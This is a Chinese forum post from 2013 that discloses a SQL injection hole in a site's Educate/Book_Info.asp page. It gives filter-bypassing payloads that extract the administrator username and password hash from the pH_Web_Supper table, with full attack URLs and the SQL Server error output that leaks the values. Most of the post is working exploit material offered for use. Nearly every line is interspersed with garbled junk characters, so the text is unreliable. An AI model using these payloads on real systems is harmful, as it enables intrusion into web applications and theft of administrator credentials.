漏洞出现在Educate/Book_Info.asp
3 B9 \ z% `; U0 H: q * a1 y S5 w+ D
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出 j5 k: s/ B& V& j6 V4 d6 p5 a
* X9 {# O- ]( S- E+ f# Aexp：如下
( G D1 t% r+ v: g查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper). f- N3 |* c5 h. ]) J
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
7 G' Q: {2 O$ q! d8 B
, h! O; ?, h3 L" u( Ghttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)8 r# t, m$ }4 O6 I! k# B3 W
$ {# F. }/ _* S! B3 k
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
' i; _3 e8 O; Q1 f1 e+ W" d. D
4 s/ Y9 k0 r/ N+ u; t将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
- v/ Q; c* S8 f
% i% ^) T. |8 K9 |/Educate/Book_Info.asp，行 8& [9 u! S' H" U, {
! q+ v3 X4 S0 v: k
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)) ~ D5 z' t. e: p, m! J
& a/ M }8 y! z8 q- f* G
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'. [! c4 b- B! t7 u, y6 R5 g9 y
& N9 V3 o6 Y9 g" Y, n0 F2 R0 X
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。0 I' u+ ^6 j) }) u
" K, |4 k1 P! C0 m+ ], h% ^
/Educate/Book_Info.asp，行 8) J# }# S: k. A& {, [4 p
|
发表于 2013-2-16 21:44:16
收藏
支持
反对